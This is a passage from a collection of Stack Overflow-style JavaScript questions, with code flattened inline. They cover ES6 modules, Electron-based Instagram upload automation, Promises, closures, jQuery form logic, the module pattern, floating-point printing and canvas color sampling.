using a bunch of JS libraries without depending on npm-based tooling and additional bundling steps.With ES6 modules support in the browser , i can use modules like this : Which is fine when the required module does n't have any transitive dependencies.But usually , those modules from the transpiled pre-ES6 world do it like this : Which does n't seem to work in todays browsers . I 'm missing some kind of option , to associate the module specifier with a certain URL , let 's say as an attribute to a < script > tag.A pragmatic solution would be to just go back to use the UMD builds of modules , which are installed into the global namespace and allows me to explictly list all dependencies in the main HTML file.But I 'm interested in the conceptual story . The bundler tools tell it as they will be obsolete in the future when there is native support , but as of now , the browser support is pretty useless , because the ecosystem is probably not consistently going to shift to importing modules by relative paths . < script type= '' module '' > import Vue from 'https : //unpkg.com/vue @ 2.6.0/dist/vue.esm.browser.min.js ' ; new Vue ( { ... } ) ; < /script > import Vue from 'vue '",Using ES6 Modules without a Transpiler/Bundler step "JS : I 'm trying to automate the process of uploading videos/images on instagram ( without using a private API ) . For now i automated the image uploading and i 'm trying to do the same thing for the videos . I 'm doing this with electron and Nodejs.for click the upload button and select an image I execute this code that actually works fine . This code works fine for images .jpg . The problem that i 'm facing is that during the uploading , when it opens the file selector for choose something to post it does n't recognize the videos . I tried all the possible video extensions . I also tried to write the file path in the file selector instead select it manually and I saw that if u write a non .jpg/.mp4 file it show a warning only images are allowed , instead , if you write the path to a .jpg file it uploads the image and if you write a file to .mp4 it closes the file manager and do nothing , like that it ignores that you are trying to upload something.To reproducego to instagramdo the loginclick F12 for open the dev toolsclick CTRL + SHIFT + M for toggle the device emulationselect any device or resize the page for toggle the mobile view of the sitereload the sitetry to upload something by clicking the bottom + button . ( The video is 6mb ( < 15mb that is the maximum ) and 40seconds ( < 60s that is the maximum ) const fs = require ( 'fs ' ) , { remote } = require ( 'electron ' ) , clipboardy = require ( 'clipboardy ' ) , BrowserWindow = remote.BrowserWindow ; const LOAD_IMAGE = '.UP43G ' , NEW_POST = '.glyphsSpriteNew_post__outline__24__grey_9.u-__7 ' ; function get_files ( path ) { return fs.readdirSync ( path , { withFileTypes : true } ) .filter ( dirent = > dirent.isFile ( ) ) .map ( dirent = > __dirname + '/../../ ' + path + '/ ' + dirent.name ) ; } function randomRange ( min , max ) { min = Math.ceil ( min ) ; max = Math.floor ( max ) ; return Math.floor ( Math.random ( ) * ( max - min + 1 ) ) + min ; } function sleep ( ms ) { return new Promise ( resolve = > setTimeout ( resolve , ms ) ) ; } function createWindow ( session_id , hidden ) { win = new BrowserWindow ( { width : 500 , height : 500 } ) ; win.loadURL ( 'https : //www.instagram.com ' ) ; return win ; } ////select the files to upload////var files = UPLOAD_POST_FOLDER_CUSTOMvar file_to_upload = files [ randomRange ( 0 , files.length - 1 ) ] ; ///////////////////////////////////////function async upload_image ( ) { // click the upload button on the page await electron_window.webContents.executeJavaScript ( ` async function click_upload_button ( ) { let new_post_button = document.querySelector ( ' $ { NEW_POST } ' ) ; await sleep ( 1000 ) ; new_post_button.click ( ) } click_upload_button ( ) ; ` ) ; // write the path of the file and press enter in the file selector await sleep ( 500 ) ; let previous_clipboard = clipboardy.readSync ( ) ; clipboardy.writeSync ( file_to_upload ) ; await fake_input.keyTap ( ' l ' , 'control ' ) ; await fake_input.keyTap ( ' v ' , 'control ' ) ; await fake_input.keyTap ( 'enter ' ) ; clipboardy.writeSync ( previous_clipboard ) ; await sleep ( 2000 ) ; }",Instagram upload video from pc "JS : It seems generally that creating deferred objects is now commonly discouraged in favor of using the ES6-style Promise constructor . Does there exist a situation where it would be necessary ( or just better somehow ) to use a deferred ? For example , on this page , the following example is given as justification for using a deferred : However , this could be done just as well with the Promise constructor : function delay ( ms ) { var deferred = Promise.pending ( ) ; setTimeout ( function ( ) { deferred.resolve ( ) ; } , ms ) ; return deferred.promise ; } function delay ( ms ) { return new Promise ( function ( resolve , reject ) { setTimeout ( function ( ) { resolve ( ) ; } , ms ) ; } ) ; }",When would someone need to create a deferred ? "JS : I 'm currently writing objects in javascript and I would like to do it in a clear , nice way , using best practices etc . But I 'm bothered that I must always write this . to address attributes , unlike in other OO languages . So I got the idea - why not just use closures for object attributes ? Look at my example object . So instead of this , classical way : ... I would do it using closure and then I do n't need to write this . every time to access the attributes ! Also , it has a hidden benefit that the attributes really can not be accessed any other way than by get/set methods ! ! So the question is : Is this a good idea ? Is it `` clean '' , is it conforming to best practice ? Are there any other semantical differences between these 2 solutions ? Are there any traps with using closure like this ? var MyObjConstructor = function ( a , b ) { // constructor - initialization of object attributes this.a = a ; this.b = b ; this.var1 = 0 ; this.var2 = `` hello '' ; this.var3 = [ 1 , 2 , 3 ] ; // methods this.method1 = function ( ) { return this.var3 [ this.var1 ] + this.var2 ; // terrible - I must always write `` this . '' ... } ; } var MyObjConstructor = function ( a , b ) { // constructor - initialization of object attributes // the attributes are in the closure ! ! ! var a = a ; var b = b ; var var1 = 0 ; var var2 = `` hello '' ; var var3 = [ 1 , 2 , 3 ] ; // methods this.method1 = function ( ) { return var3 [ var1 ] + var2 ; // nice and short } ; // I can also have `` get '' and `` set '' methods : this.getVar1 = function ( ) { return var1 ; } this.setVar1 = function ( value ) { var1 = value ; } }",Why not to use closures for object attributes ? JS : I 'm trying to add a class to < span id= '' sp1 '' > using : But it is showing error : String contains an invalid character document.getElementById ( `` sp1 '' ) .classList.add ( `` fa fa-hand-rock-o '' ) ;,JavaScript element.classList.add ( `` fa fa-hand-rock-o '' ) Error : `` String contains an invalid character '' "JS : In Chrome and Node , the following code throws an error : I understand why it might be a Bad Idea to pass 1 million arguments to a function , but can anyone explain why the error is Maximum call stack size exceeded instead of something more relevant ? ( In case this seems frivolous , the original case was Math.max.apply ( Math , lotsOfNumbers ) , which is a not-unreasonable way of getting the max number from an array . ) function noop ( ) { } var a = new Array ( 1e6 ) // Array [ 1000000 ] noop.apply ( null , a ) // Uncaught RangeError : Maximum call stack size exceeded",Why does apply with too many arguments throw `` Maximum call stack size exceeded '' ? "JS : I ca n't help but notice there are two seemingly useless functions in the source code of jQuery ( For v1.9.1 , it 's line 2702 and line 2706 ) : Which both are called quite often within jQuery . Is there a reason why they do n't simply substitute the function call with a boolean true or false ? function returnTrue ( ) { return true ; } function returnFalse ( ) { return false ; }",returnTrue and returnFalse functions in jQuery source "JS : ProblemPlayers that have not been selected , ie . do not have a class of picked.is-active should not be added to any of the input fields when they are clicked onThe maximum number of players that be be picked from each category is 2 out of 4 goalies , 6 of 15 defencemen and 12 out of 31 forwards.Update # 3Added link to the Github repo here : https : //github.com/onlyandrewn/wheatkingsUpdate # 2Added the snippet , which shows how the is-inactive and the is-active classes are being toggled.Update # 1 -I 've removed the second snippet which may be causing some confusionThis Javascript snippet below grabs the name of the player clicked and then puts it into an input field , if it has a class of picked.is-active . However , let 's say you 've selected two goalies already , but then click on the two remaining goalies in that category when are unselected ( have the default class in-active ) those unselected players still get added to the inputs , which is not what we want.scripts.js - This snippet , which needs fixing , currently adds player name to input field even if max number players in specific category has been reachedscripts.js ( How is-inactive and is-active classes are toggled ) index.html ( Form snippet ) index.html ( Player snippet ) $ ( `` .player '' ) .on ( `` click '' , function ( ) { var playerNames = [ ] ; $ ( `` input : text '' ) .each ( function ( i , t ) { playerNames.push ( t.value ) } ) ; if ( $ ( this ) .find ( `` picked.is-active '' ) ) { var playerName = $ ( this ) .find ( `` .player__name '' ) .html ( ) ; var index = playerNames.indexOf ( playerName ) ; if ( index == -1 ) // add player $ ( `` input : text : eq ( `` + playerNames.indexOf ( `` '' ) + `` ) '' ) .val ( playerName ) ; else // remove player $ ( `` input : text : eq ( `` + index + `` ) '' ) .val ( `` '' ) ; } else { $ ( `` input '' ) .val ( `` '' ) ; } } ) ; $ ( `` .btn -- random '' ) .on ( `` click '' , function ( ) { // CHECK THESE NUMBERS var goalies_array = getRandomNumbers ( 1 , 4 , 2 ) ; var defensemen_array = getRandomNumbers ( 5 , 19 , 6 ) ; var forwards_array = getRandomNumbers ( 20 , 50 , 12 ) ; $ ( `` .goalies '' ) .text ( goalies_array.join ( `` , '' ) ) ; $ ( `` .defensemen '' ) .text ( defensemen_array.join ( `` , '' ) ) ; $ ( `` .forwards '' ) .text ( forwards_array.join ( `` , '' ) ) ; var players_array = goalies_array.concat ( defensemen_array ) .concat ( forwards_array ) ; // Add the class ` is-active ` based on the numbers generated var player = $ ( `` .player '' ) ; $ ( `` .is-active '' ) .removeClass ( `` is-active '' ) .addClass ( `` is-inactive '' ) ; $ .each ( players_array , function ( index , value ) { var player_index = value - 1 ; // Subtract one based on zero-indexing player.eq ( player_index ) .find ( `` .is-inactive '' ) .removeClass ( `` is-inactive '' ) .addClass ( `` is-active '' ) ; } ) ; } ) ; function getRandomNumbers ( start , end , howMany ) { var arr = [ ] ; for ( var i = start , j = 0 ; i < = end ; j++ , i++ ) arr [ j ] = i arr.sort ( function ( ) { return Math.floor ( ( Math.random ( ) * 3 ) - 1 ) } ) ; return arr.splice ( 0 , howMany ) } < form id= '' form '' > < input type= '' text '' name= '' p1 '' id= '' p1 '' > < input type= '' text '' name= '' p2 '' id= '' p2 '' > < input type= '' text '' name= '' p3 '' id= '' p3 '' > < input type= '' text '' name= '' p4 '' id= '' p4 '' > < input type= '' text '' name= '' p5 '' id= '' p5 '' > < input type= '' text '' name= '' p6 '' id= '' p6 '' > < input type= '' text '' name= '' p7 '' id= '' p7 '' > < input type= '' text '' name= '' p8 '' id= '' p8 '' > < input type= '' text '' name= '' p9 '' id= '' p9 '' > < input type= '' text '' name= '' p10 '' id= '' p10 '' > < input type= '' text '' name= '' p11 '' id= '' p11 '' > < input type= '' text '' name= '' p12 '' id= '' p12 '' > < input type= '' text '' name= '' p13 '' id= '' p13 '' > < input type= '' text '' name= '' p14 '' id= '' p14 '' > < input type= '' text '' name= '' p15 '' id= '' p15 '' > < input type= '' text '' name= '' p16 '' id= '' p16 '' > < input type= '' text '' name= '' p17 '' id= '' p17 '' > < input type= '' text '' name= '' p18 '' id= '' p18 '' > < input type= '' text '' name= '' p19 '' id= '' p19 '' > < input type= '' text '' name= '' p20 '' id= '' p20 '' > < button class= '' btn btn -- submit '' type= '' submit '' > < img src= '' src/img/ballot-alt.png '' class= '' image -- ballot '' > Submit Vote < /button > < /form > < div class= '' player player -- forward year -- 2000 year -- 2010 '' > < div class= '' tooltip '' > < p class= '' tooltip__name '' > Mark Stone < /p > < p class= '' tooltip__hometown '' > < span > Hometown : < /span > Winnipeg , Man. < /p > < p class= '' tooltip__years '' > < span > Years Played : < /span > 2008-2012 < /p > < div class= '' tooltip__stats -- inline '' > < div class= '' stats__group stats -- games '' > < p class= '' stats__header '' > GP < /p > < p class= '' stats__number stats__number -- games '' > 232 < /p > < /div > < div class= '' stats__group stats -- goals '' > < p class= '' stats__header '' > G < /p > < p class= '' stats__number stats__number -- goals '' > 106 < /p > < /div > < div class= '' stats__group stats -- assists '' > < p class= '' stats__header '' > A < /p > < p class= '' stats__number stats__number -- assists '' > 190 < /p > < /div > < div class= '' stats__group stats -- points '' > < p class= '' stats__header '' > Pts < /p > < p class= '' stats__number stats__number -- points '' > 296 < /p > < /div > < div class= '' stats__group stats -- penalties '' > < p class= '' stats__header '' > Pim < /p > < p class= '' stats__number stats__number -- penalties '' > 102 < /p > < /div > < /div > < /div > < div class= '' player__headshot player -- mstone '' > < div class= '' picked is-inactive '' > < i class= '' fa fa-star '' aria-hidden= '' true '' > < /i > < /div > < /div > < p class= '' player__name '' > Mark Stone < /p > < p class= '' player__position '' > Forward < /p > < /div >",Add text to input only if div has class ` is-active ` "JS : I 'm organizing my code into 20-60 line modules , usually in the module pattern . I want a well formed object oriented JavaScript library . Is this the best way to do this ? The code has been tested and works.I like it because a programmer can pull modules from the library and use them as needed , they are self contained.Here is Tool , Message , Effect and Text , all contained in NS.Question ? Is this a good way ( best practice ) to organize my library ? NoteSo far , there is 0 consensus in the comments and answers ... very frustrating.Outer Module PatternToolsMessageEffectsText var NS = ( function ( window , undefined ) { /* All Modules below here */ } ) ( window ) ; /** *Tools * getTimeLapse - benchmark for adding */var Tool = ( function ( ) { var Tool = function ( ) { } ; Tool.prototype.getTimeLapse = function ( numberOfAdds ) { var end_time ; var start_time = new Date ( ) .getTime ( ) ; var index = 0 ; while ( index < = numberOfAdds ) { index++ ; } end_time = new Date ( ) .getTime ( ) ; return ( end_time - start_time ) ; } ; return Tool ; } ( ) ) ; /** *Message * element - holds the element to send the message to via .innerHTML * type - determines the message to send */var Message = ( function ( ) { var messages = { name : 'Please enter a valid name ' , email : 'Please enter a valid email ' , email_s : 'Please enter a valid email . ' , pass : 'Please enter passoword , 6-40 characters ' , url : 'Please enter a valid url ' , title : 'Please enter a valid title ' , tweet : 'Please enter a valid tweet ' , empty : 'Please complete all fields ' , same : 'Please make emails equal ' , taken : 'Sorry , that email is taken ' , validate : 'Please contact < a class= '' d '' href= '' mailto : foo @ foo.com '' > support < /a > to reset your password ' , } ; var Message = function ( element ) { this.element = element ; } ; Message.prototype.display = function ( type ) { this.element.innerHTML = messages [ type ] ; } ; return Message ; } ( ) ) ; /** *Effects * element - holds the element to fade * direction - determines which way to fade the element * max_time - length of the fade */var Effects = ( function ( ) { var Effects = function ( element ) { this.element = element ; } ; Effects.prototype.fade = function ( direction , max_time ) { var element = this.element ; element.elapsed = 0 ; clearTimeout ( element.timeout_id ) ; function next ( ) { element.elapsed += 10 ; if ( direction === 'up ' ) { element.style.opacity = element.elapsed / max_time ; } else if ( direction === 'down ' ) { element.style.opacity = ( max_time - element.elapsed ) / max_time ; } if ( element.elapsed < = max_time ) { element.timeout_id = setTimeout ( next , 10 ) ; } } next ( ) ; } ; return Effects ; } ( ) ) ; /** *Text * form_elment - holds text to check */var Text = ( function ( ) { var Text = function ( form_element ) { this.text_array = form_element.elements ; } ; Text.prototype.patterns = { prefix_url : /^ ( http : ) | ( https : ) \/\// , aml : / < ( .+ ) _ ( [ a-z ] ) { 1 } > $ / , url : /^ . { 1,2048 } $ / , tweet : /^ . { 1,40 } $ / , title : /^ . { 1,32 } $ / , name : /^ . { 1,64 } $ / , email : /^. { 1,64 } @ . { 1,255 } $ / , pass : /^ . { 6,20 } $ / } ; Text.prototype.checkPattern = function ( type ) { return this.patterns [ type ] .exec ( this.text_array [ type ] .value ) ; } ; Text.prototype.checkUrl = function ( type ) { return this.patterns [ type ] .exec ( this.text_array.url.value ) ; } ; Text.prototype.checkSameEmail = function ( ) { return ( ( this.text_array.email.value ) === ( this.text_array.email1.value ) ) ; } ; Text.prototype.checkEmpty = function ( ) { for ( var index = 0 ; index < this.text_array.length ; ++index ) { if ( this.text_array [ index ] .value === `` ) { return 0 ; } } return 1 ; } ; return Text ; } ( ) ) ;",JavaScript organization | Module pattern w/ modules "JS : I have a calculator that works with buttons to assign values . The main idea is to generate formulas . The values are added seamlessly into an `` input '' . All the brackets when entering your respective button , I need to happen is to continue entering values in the parenthesisJqueryHtmlWith that code this happen:5+ ( ) 3* ( ) +5+3and I need:5+ ( 3* ( 5+3 ) ) How can I do that ? $ ( document ) .ready ( function ( ) { $ ( `` input : button '' ) .click ( function ( ) { valor = $ ( this ) .val ( ) ; actual = $ ( `` # ContentPlaceHolder1_formula '' ) .val ( ) ; if ( valor == `` C '' ) { $ ( `` # ContentPlaceHolder1_formula '' ) .val ( `` '' ) ; } else { if ( valor == `` = '' ) { $ ( `` # ContentPlaceHolder1_formula '' ) .val ( eval ( actual ) ) ; } else { $ ( `` # ContentPlaceHolder1_formula '' ) .val ( actual + valor ) ; } } } ) ; } ) ; < div class= '' form-group '' > < input class= '' btn '' type= '' button '' value= '' ( ) '' id= '' parentesis '' / > < input class= '' btn '' type= '' button '' value= '' 1 '' id= '' 1 '' / > < input class= '' btn '' type= '' button '' value= '' 2 '' id= '' 2 '' / > < input class= '' btn '' type= '' button '' value= '' 3 '' id= '' 3 '' / > < input class= '' btn '' type= '' button '' value= '' + '' id= '' sumar '' / > < br / > < input class= '' btn '' type= '' button '' value= '' 4 '' id= '' 4 '' / > < input class= '' btn '' type= '' button '' value= '' 5 '' id= '' 5 '' / > < input class= '' btn '' type= '' button '' value= '' 6 '' id= '' 6 '' / > < input class= '' btn '' type= '' button '' value= '' - '' id= '' restar '' / > < br / > < input class= '' btn '' type= '' button '' value= '' 7 '' id= '' 7 '' / > < input class= '' btn '' type= '' button '' value= '' 8 '' id= '' 8 '' / > < input class= '' btn '' type= '' button '' value= '' 9 '' id= '' 9 '' / > < input class= '' btn '' type= '' button '' value= '' * '' id= '' multiplicar '' / > < br / > < input class= '' btn '' type= '' button '' value= '' 0 '' id= '' 0 '' / > < input class= '' btn '' type= '' button '' value= '' = '' id= '' igual '' / > < input class= '' btn '' type= '' button '' value= '' C '' id= '' C '' / > < input class= '' btn '' type= '' button '' value= '' / '' id= '' dividir '' / > < asp : Button ID= '' btn_login '' OnClick= '' docreateformula '' CssClass= '' btn btn-primary btn-lg center-block '' Text= '' Guardar '' runat= '' server '' / > < /div >",How to focus cursor in between two brackets ( parentheses ) with Jquery ? "JS : According to Wikipedia IE10 will use JScript 10.JScript 10 seems to have a whole bunch of new proprietary extensions to EcmaScript 5.Is the version of the EcmaScript engine ( 10 ) in IE10 related to JScript 10.0 ? Does IE10 bring in a whole load of proprietary extensions like strict typing , etc ? @ if ( @ _jscript_version == 10 ) document.write ( `` You are using IE10 '' ) ;",Does IE10 use JScript 10.0 "JS : I have some simple JS that removes or adds html based on the width of the browser . If it 's in mobile then the attribute data-hover should be removed . If the width is in desktop , then the attribute should be added.So far this works great , but the problem is Bootstrap does n't recognize that data-hover has been removed . The dropdown still closes when the user 's mouse leaves the dropdown . To be clear , I want the dropdown to stay open when the user 's mouse leaves the dropdown when the window browser width 's is below 768px.What 's wrong and how do I fix this ? JSHTML $ ( document ) .ready ( function ( ) { $ ( window ) .resize ( function ( ) { if ( $ ( window ) .width ( ) < 768 ) { $ ( '.dropdown-toggle ' ) .removeAttr ( 'data-hover ' ) ; } else { $ ( '.dropdown-toggle ' ) .attr ( 'data-hover ' , 'dropdown ' ) ; } } ) ; } ) ; < a class= '' dropdown-toggle '' data-hover= '' dropdown '' data-toggle= '' dropdown '' role= '' menu '' aria-expanded= '' false '' href= '' /courses '' > Courses < /a > < ul class= '' dropdown-menu courses-dropdown '' > < li > hello < /li > < /ul >",Toggling hover on dropdown between mobile and desktop "JS : I 've heard that javascript Numbers are IEEE 754 floating points , which explains whybut I do n't understandI thought 0.1 could n't be accurately stored as a base 2 floating point , but it prints right back out , like it 's been 0.1 all along . What gives ? Is the interpreter doing some rounding before it prints ? It 's not helping me that there are at least 2 versions of IEEE 754 : 1984 edition and 2008 . It sounds like the latter added full support for decimal arithmetic . Does n't seem like we have that . > 0.3 - 0.20.09999999999999998 > 0.10.1",How does javascript print 0.1 with such accuracy ? "JS : i ca n't copy the array.Any change made in the first array is also taken in the second.However this does not occur when I use variables of text type var Mycollection = new Array ( `` James '' , '' Jonh '' , '' Mary '' ) ; var Mycollection2 = Mycollection ; Mycollection.pop ( ) ; console.log ( Mycollection.toString ( ) ) // [ `` James '' , '' Jonh '' ] console.log ( Mycollection2.toString ( ) ) // [ `` James '' , '' Jonh '' ]",i ca n't copy the array JS : Why in javascript if you reference objects method to some variable it loses that objects context . Ca n't find any link with explanation what happens under the hood . Except this one which states : ‘ this ’ refers to the object which ‘ owns ’ the method which does n't seam to be true . var Class = function ( ) { this.property = 1 } Class.prototype.method = function ( ) { return this.property ; } var obj = new Class ( ) ; console.log ( obj.method ( ) === 1 ) ; var refToMethod = obj.method ; // why refToMethod 'this ' is windowconsole.log ( refToMethod ( ) ! == 1 ) // why this is true ? var property = 1 ; console.log ( refToMethod ( ) === 1 ),Javascript lost context when assigned to other variable "JS : Note : This question pertains to the book 'JavaScript : The Good Parts ' written by Doug Crockford.As I was reading a chapter on Objects , I came across a statement as follows : The quotes around a property 's name in an object literal are optional if the name would be a legal JavaScript name and not a reserved word . So quotes are required around `` first-name '' , but are optional around `` first_name '' .And the following is the example of an object literal provided in the book : Now , I might have misinterpreted the text here but to me it seems like Mr. Crockford is saying first-name ( with the hyphen ) IS a reserved word whereas first_name ( with the underscore ) is not . If that is the case , I do n't understand how the former can be a reserved word . I found no other explanation in the book why this is . Can someone please explain ? var stooge = { `` first-name '' : `` Jerome '' , `` last-name '' : `` Howard '' } ;",How is `` first-name '' a reserved word in JavaScript ? "JS : After retrieving a JSON such as this : How could I filter it conditionally so that ... if soccer is the value of myFavoriteSport key , then return an array of all objects containing the myFavoriteSport : soccer pair ? I 'm sure I 'll end up pushingthe object into the array at the end , but I do n't quite know how to single it out so that I can assign it to a variable . I 'm sure it will involve some type of loop , but this is my first time working with JSON and objects of this type so I 'm a little unsure of how to approach it . `` JSON '' : [ { `` mySchool '' : `` college '' , `` myHome '' : `` apartment '' , `` myFavoriteSport '' : `` soccer '' } , { `` mySchool '' : `` highschool '' , `` myHome '' : `` house '' , `` myFavoriteSport '' : `` hockey '' } , { `` mySchool '' : `` college '' , `` myHome '' : `` box '' , `` myFavoriteSport '' : `` soccer '' } , { `` mySchool '' : `` elementary '' , `` myHome '' : `` tent '' , `` myFavoriteSport '' : `` soccer '' } ]",Javascript : Filter a JSON conditionally based on the value of a key ? "JS : I was looking over one of the minified js files generated by closure . I found that wherever I 'm checking for equality between a variable and string like , closure replaces it with Why is this modification done ? Is there some performance advantage here ? a == `` 13 '' || a == `` 40 '' `` 13 '' == a || `` 40 '' == a",Javascript minification of comparison statements "JS : I was looking at the source code for the Underscore.js library , specifically for the map method ( around line 85 on that page , and copied here ) : completely straightforward EXCEPT for the following lineNow , I read this to mean `` if the object length is not a negative number ... '' which , if my interpretation is right , implies that it might be ! So , dear experts , for what kinds of objects mightbe false ? My understanding of === means it could return false if the type of obj.length did n't match the type of +obj.length , but here my knowledge falls short . What kinds of things could + do to the kinds of things that obj.length might be ? Is x === +x some sort of generic idiomatic test that I just do n't know ? Is it response to some sort of special case that arises deeper in underscore.js , e.g. , does underscore.js assign and track negative object.lengths for some conventional purpose ? Guidance and advice will be much appreciated . _.map = function ( obj , iterator , context ) { var results = [ ] ; if ( obj == null ) return results ; if ( nativeMap & & obj.map === nativeMap ) return obj.map ( iterator , context ) ; each ( obj , function ( value , index , list ) { results [ results.length ] = iterator.call ( context , value , index , list ) ; } ) ; if ( obj.length === +obj.length ) results.length = obj.length ; return results ; } ; if ( obj.length === +obj.length ) results.length = obj.length ; obj.length === +obj.length",negative object length possible in JavaScript or underscore.js ? meaning ? "JS : In my main app.ts I 've declared a global provider : ( Where createDependency is just a function that returns a class which has a getName ( ) method . ) I also have a components : Code : The result is : Component3 : Hello from 3 : But I expect the result to be : Component3 : Hello from 3 : AppModule providerBecause basically the app structure is : Question : Why does n't @ Host ( ) match the parent provider ? ( which is : providers : [ { provide : Dependency , useValue : createDependency ( 'AppModule provider ' ) } ] ) To my knowledge - the injector should seek for a Dependency in this manner : So why does n't it find it ? PLUNKERNoticeI already know that if I remove @ host - it does reach the top . My question is why adding @ host - is not reaching the top - despite the fact thatmy-component3 is under my-app ! ! providers : [ { provide : Dependency , useValue : createDependency ( 'AppModule provider ' ) } ] < my-app-component-3 > Hello from 3 < /my-app-component-3 > @ Component ( { selector : 'my-app-component-3 ' , template : ` < div > Component3 : < ng-content > < /ng-content > : < span [ innerHTML ] = '' dependency ? .getName ( ) '' > < /span > < /div > ` , } ) export class Component3 { constructor ( @ Host ( ) @ Optional ( ) public dependency : Dependency ) { } } < my-app > < my-app-component-3 > < /my-app-component-3 > < /my-app >",Angular 's ` @ Host ` decorator not reaching the top ? "JS : I want to split string to using javascript split ( ) Can you please help ? `` abcdefgh '' `` ab '' , '' cd '' , '' ef '' , '' gh '' `` abcdefgh '' .split ( ? ? ? )",how to split into character group ? "JS : Suppose that I 've got a node.js application that receives input in a weird format : strings with JSON arbitrarily sprinkled into them , like so : This is a string { `` with '' : '' json '' , '' in '' : '' it '' } followed by more text { `` and '' : { `` some '' : [ `` more '' , '' json '' ] } } and more textI have a couple guarantees about this input text : The bits of literal text in between the JSON objects are always free from curly braces.The top level JSON objects shoved into the text are always object literals , never arrays.My goal is to split this into an array , with the literal text left alone and the JSON parsed out , like this : So far I 've written a naive solution that simply counts curly braces to decide where the JSON starts and stops . But this would n't work if the JSON contains strings with curly braces in them { `` like '' : '' this one } right here '' } . I could try to get around that by doing similar quote counting math , but then I also have to account for escaped quotes . At that point it feels like I 'm redoing way too much of JSON.parse 's job . Is there a better way to solve this problem ? [ `` This is a string `` , { `` with '' : '' json '' , '' in '' : '' it '' } , `` followed by more text `` , { `` and '' : { `` some '' : [ `` more '' , '' json '' ] } } , `` and more text '' ]",How do I parse JSON sprinkled unpredictably into a string ? "JS : I have some objects deserialized from JSON to which I 'd like to assign a new prototype in order to provide various getter and setter functions . The obvious way to do this ( as mentioned in this question ) is to setHowever , as MDC helpfully points out , the __proto__ property is non-standard and deprecated . Is there any standards-compliant way ( for some definition of `` standards '' ) to achieve the same effect , without having to create lots of new wrapper objects ? myJsonObj.__proto__ = { function1 : /* ... */ , function2 : /* ... */ } ;",Proper way of assigning to __proto__ property "JS : I have a huge text and would like to trigger a color change when the letters are hovered . This means the white background should n't trigger the hover effect , only the black fiill of the letter should trigger it.The default hover effect is triggered when the text container is hovered like this : Using the text element in svg acts the same way : Is there a way to trigger the hover effect only when the fill of the letters ( black parts in the examples ) are hovered and not on the containing box ? * { margin : 0 ; padding : 0 ; } p { font-size : 75vw ; line-height : 100vh ; text-align : center ; } p : hover { color : darkorange ; } < p > SO < /p > text : hover { fill : darkorange ; } < svg viewbox= '' 0 0 100 100 '' > < text x= '' 0 '' y= '' 50 '' font-size= '' 70 '' > SO < /text > < /svg >",Hover effect only on letter ( not container ) "JS : In ESLint 1 , I can use the ecmaFeatures option to disable or enable certain language features . E.g.Above config disables defaultParams.This is very useful because in runtime like Node , not all features are available , and I do n't want to use a transpiler.But in ESLint 2 , that was removed . You only got ecmaVersion , which does n't alerting on usage of ES2015 features at all even if you give it a ecmaVersion of 5 . I guess this make sense since the JavaScript interpreter will complain about the usage of unsupported syntax at interpretation time , but what about developing for browsers have different level of ES2015 support ? Syntax that works for Chrome wo n't work for IE9.Is there any way to lint the usage of language features , e.g . disable destructuring ? ecmaFeatures : defaultParams : false",How to disable usage of certain ES2015 features with ESLint 2 ? "JS : I had some issues with destructuring assignment shorthand when auto formatting JavaScript and TypeScript code in Visual Studio Code.I got result like this : but I need it to looks like this : I have Beautify installed , and in my settings : I do n't find anywhere else I could set place new line to false.Any idea how to set it right ? var { check , validationResult } = require ( `` express-validator/check '' ) ; var { check , validationResult } = require ( `` express-validator/check '' ) ; { `` editor.wordWrapColumn '' : 160 , `` typescript.format.placeOpenBraceOnNewLineForFunctions '' : false , `` typescript.format.placeOpenBraceOnNewLineForControlBlocks '' : false , `` javascript.format.placeOpenBraceOnNewLineForFunctions '' : false , `` javascript.format.placeOpenBraceOnNewLineForControlBlocks '' : false }",visual studio code javascript destructuring assignment create new line on format "JS : When setting a breakpoint on the console.log statement , why would this be undefined in the debugger but the statement print with no issues ? Am I missing something in regards to scope here ? export class OptionsSidebarComponent { ... public filters : Object = new Object ( ) ; ... public generateFilters ( ) { for ( let property in this.terms ) { if ( this.terms.hasOwnProperty ( property ) & & this.terms [ property ] ! == null ) { if ( ! this.filters.hasOwnProperty ( this.productGroup.id ) ) { this.filters [ this.productGroup.id ] = new Filters ( ) ; } this.terms [ property ] .forEach ( ( term ) = > { console.log ( this.filters ) ; } ) ; } } } }",Why is 'this ' undefined in the debugger but printable in a console.log ? "JS : I have a JavaScript slider that outputs a value between 0 and 1 depending on its position . I want to convert that value to a value on another scale between say 100 and 1000 , but based on the distribution of a set of data points between 100 and 1000.The use case here is that I want the slider to be less sensitive to changes when there is a very close set of numbers . Eg ... let 's say the values in the scale are : The values 100-500 might take up , say , the first 80 % of the slider due to their closer distribution , therefore making it easier to select between them.There 's clearly a mathematical function for calculating this , perhaps involving standard deviation and coefficients . Anyone know what it is ? 100 , 200 , 300 , 500 , 1000",javascript slider weighted values "JS : I 'm using the jQueryify bookmarklet on a page so that I can call jQuery functions from the console . But everytime I invoke a jQuery function on a selected object , I get the error : I have tried this in FireBug as well as Google Chrome 's Webkit console . `` TypeError : jQuery ( `` li '' ) [ 0 ] .children [ 0 ] .html is not a function [ Break On This Error ] jQuery ( 'li ' ) [ 0 ] .children [ 0 ] .html ( ) ;",jQuery in console not working properly JS : What does the following code mean -My basic doubt is which script is run when we click on the link < a href= '' javacsript : ; '' onClick= '' addItem ( 160 ) '' > some link < /a >,Javascript protocol and events JS : Am I better to move a node I sent down form the server or to insert it ? I 'm using jQuery ( 1.4 ) but would like to know for both jQuery and JS in general . In this case the node is small with only one child . But what if it were a large list ? Whatlarge list 1 = 200 li nodeslarge list 2 = 1000 li nodesExample : Insertion : vsManipulation : < div id= '' wrap '' > < div id= '' box > < /div > < /div > $ ( ' # box ' ) .before ( $ ( ' < ul id= '' list '' > < li > ... < /ul > ' ) ) ; < div id= '' wrap '' > < div id= '' box > < /div > < /div > < ul id= '' list '' > < li > ... < /ul > $ ( ' # list ' ) .insertBefore ( $ ( ' # box ' ) ) ;,What 's faster DOM Insertion or Manipulation ? "JS : A client required help with a program that extracts the dominant color of a product image . I was able to quickly implement this in Javascript ; the algorithm below only samples the central square of a 3x3 grid on the image for a quick estimate of the t-shirt color in the image.The image in question is this ( preview below ) .However , the results when this image is processed in the code above are varied across machines/browsers : # FF635E is what I see on my machine , running Windows7 and using Firefox 32 . My client running Mac gets a result of # FF474B on Safari and # FF474C on Firefox 33.Though the results are close , why are they ideally not the exact same ? Does getImageData indeed vary depending on the local setup , or is the JPG data being interpreted differently on different machines ? Edit : This image is n't a one-off case . Such color variations were noticed across a range of the image that the client requested to process . My client and I obtained different results for the same set of images . var image = new Image ( ) ; image.onload = function 